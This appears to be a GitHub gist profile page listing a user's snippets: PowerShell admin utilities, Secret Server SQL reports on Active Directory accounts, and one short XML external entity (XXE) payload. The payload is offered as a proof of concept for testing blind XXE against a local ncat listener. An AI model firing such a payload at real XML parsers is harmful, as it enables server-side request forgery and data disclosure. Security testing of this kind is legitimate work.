Skip to content

Instantly share code, notes, and snippets.

View R41D3NN's full-sized avatar

R41D3NN R41D3NN

View GitHub Profile
@R41D3NN
R41D3NN / Get-WindowsProductKey.ps1
Created May 6, 2020 15:56
Gets the Windows 10 Product Key in the event you want to fresh install the system and you've discarded your paper copy of the key.
(Get-WmiObject -query ‘select * from SoftwareLicensingService’).OA3xOriginalProductKey
@R41D3NN
R41D3NN / Get-NetTCPConnectionAndProcessName.ps1
Created April 3, 2019 19:05
Does what Get-NetTCPConnection does but with gets the associated process name too.
Get-NetTCPConnection | %{
$obj = New-Object -TypeName psobject;
$obj | Add-Member -MemberType NoteProperty -Name LocalAddress -Value $_.LocalAddress;
$obj | Add-Member -MemberType NoteProperty -Name LocalPort -Value $_.LocalPort
$obj | Add-Member -MemberType NoteProperty -Name RemoteAddress -Value $_.RemoteAddress;
$obj | Add-Member -MemberType NoteProperty -Name RemotePort -Value $_.RemotePort;
$obj | Add-Member -MemberType NoteProperty -Name State -Value $_.State;
$obj | Add-Member -MemberType NoteProperty -Name ProcessName -Value (Get-Process -Id $_.OwningProcess).ProcessName;
$obj } | Format-Table -AutoSize
@R41D3NN
R41D3NN / XXE-Connect-To-Host.xml
Created June 16, 2018 15:55
Quick POC for testing XXE in controls. Just spin up ncat -l PORT. Useful for seeing the connection made for testing XXE blind.
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://127.0.0.1:7777">
]>
<r>&sp;</r>
@R41D3NN
R41D3NN / Convert-Base64.psm1
Created June 16, 2018 00:25
Converts base64 strings.
Function Convert-ToBase64String
{
Param(
[String] $Text
)
$Local:Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$Local:EncodedText = [Convert]::ToBase64String($Local:Bytes)
Return $Local:EncodedText
}
@R41D3NN
R41D3NN / Get-SnkPublicKey.ps1
Created June 13, 2018 21:49
Get Public Key From SNK
# Kudos Ivan G.: https://stackoverflow.com/a/43897217
function Get-SnkPublicKey([string]$FilePath)
{
$bytes = [System.IO.File]::ReadAllBytes($FilePath)
$pair = New-Object System.Reflection.StrongNameKeyPair -ArgumentList @(,$bytes)
$publicKey = $pair.PublicKey
#[System.Convert]::ToBase64String($publicKey)
$hexes = [System.BitConverter]::ToString($publicKey);
$hexes.Replace("-", "")
@R41D3NN
R41D3NN / Generate-RandomString.ps1
Created June 13, 2018 18:41
Generate a random string.
Function Get-RandomString {
Param(
[Int] $Length = 10,
[Bool] $IncludeNumerical = $True,
[Bool] $IncludeLowerCase = $True,
[Bool] $IncludeUpperCase = $True
)
$Local:NumericalSet = (48..57)
$Local:LowerCaseSet = (65..90)
@R41D3NN
R41D3NN / Secret-Server--Dependencies--AD-Account-Mapping.sql
Last active April 27, 2018 22:36
Secret Server report that shows discovered dependencies on all machines, their services accounts, as well as if that services account is being discovered by AD Discovery.
SELECT
[ou].[DistinguishedName] AS [OU DN],
[c].[ComputerName],
[sdt].[SecretDependencyTypeName],
[cd].[DependencyName],
CONCAT([d].[FriendlyName], '\', [cd].[AccountName]) AS [AccountName],
CASE WHEN [ca].[AccountName] IS NULL
THEN 'False'
ELSE 'True'
END AS [Account In AD Discovery]
@R41D3NN
R41D3NN / Secret-Server--Discovery-AD-Accounts--Total-Members-By-Group.sql
Last active April 27, 2018 22:23
Secret Server report to show discovered total AD users per group.
SELECT
B.[Group],
COUNT(B.[AccountName]) AS [Total Members]
FROM (
SELECT
Split.a.value('.', 'VARCHAR(1000)') AS [Group],
A.[AccountName]
FROM (
SELECT
[ca].[AccountName],
@R41D3NN
R41D3NN / Secret-Server--Discovery-AD-Accounts--Users-And-Groups-Filtered.sql
Last active April 27, 2018 17:08
Secret Server report to show discovered AD Users and each group they are in. Each group is in it's own row. Filtered by group name.
SELECT
A.[OU DN],
A.[AccountName],
Split.a.value('.', 'VARCHAR(1000)') AS [Group]
FROM (
SELECT
[ou].[DistinguishedName] AS 'OU DN',
[ca].[AccountName],
CAST ('<M>' + REPLACE(REPLACE(REPLACE(REPLACE([ca].[SearchGroups], '&', '\u0026'), '<', '\u003C'), '>', '\u003E'), CHAR(59), '</M><M>') + '</M>' AS XML) AS [Group]
FROM [tbComputerAccount] [ca]
@R41D3NN
R41D3NN / Secret-Server--Discovery-AD-Accounts--Users-And-Groups.sql
Last active April 27, 2018 17:07
Secret Server report to show discovered AD Users and each group they are in. Each group is in it's own row.
SELECT
A.[OU DN],
A.[AccountName],
Split.a.value('.', 'VARCHAR(1000)') AS [Group]
FROM (
SELECT
[ou].[DistinguishedName] AS 'OU DN',
[ca].[AccountName],
CAST ('<M>' + REPLACE(REPLACE(REPLACE(REPLACE([ca].[SearchGroups], '&', '\u0026'), '<', '\u003C'), '>', '\u003E'), CHAR(59), '</M><M>') + '</M>' AS XML) AS [Group]
FROM [tbComputerAccount] [ca]